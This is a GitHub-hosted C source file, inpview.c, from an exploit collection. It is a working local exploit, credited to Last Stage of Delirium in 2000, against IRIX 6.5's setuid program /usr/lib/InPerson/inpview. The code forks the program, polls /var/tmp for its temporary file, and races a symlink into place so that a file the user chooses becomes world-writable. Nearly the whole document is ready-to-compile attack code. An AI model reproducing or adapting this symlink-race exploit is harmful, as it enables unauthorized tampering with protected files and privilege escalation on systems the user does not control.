forked from ProjectZeroDays/Exploits2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
inpview.c
executable file
·43 lines (35 loc) · 1.24 KB
/
inpview.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*## copyright LAST STAGE OF DELIRIUM jan 2000 poland *://lsd-pl.net/ #*/
/*## /usr/lib/InPerson/inpview #*/
/* sets rw-rw-rw permissions */
#include <sys/types.h>
#include <dirent.h>
#include <stdio.h>
main(int argc,char **argv){
DIR *dirp;struct dirent *dentp;
printf("copyright LAST STAGE OF DELIRIUM jan 2000 poland //lsd-pl.net/\n");
printf("/usr/lib/InPerson/inpview for irix 6.5 6.5.8 IP:all\n\n");
if(argc!=2){
printf("usage: %s file\n",argv[0]);
exit(-1);
}
if(!fork()){
nice(-20);sleep(2);close(0);close(1);close(2);
execle("/usr/lib/InPerson/inpview","lsd",0,0);
}
printf("looking for temporary file... ");fflush(stdout);
chdir("/var/tmp");
dirp=opendir(".");
while(1){
if((dentp=readdir(dirp))==NULL) {rewinddir(dirp);continue;}
if(!strncmp(dentp->d_name,".ilmpAAA",8)) break;
}
closedir(dirp);
printf("found!\n");
while(1){
if(!symlink(argv[1],dentp->d_name)) break;
}
sleep(2);
unlink(dentp->d_name);
execl("/bin/ls","ls","-l",argv[1],0);
}
/* www.hack.co.za [20 August 2000]*/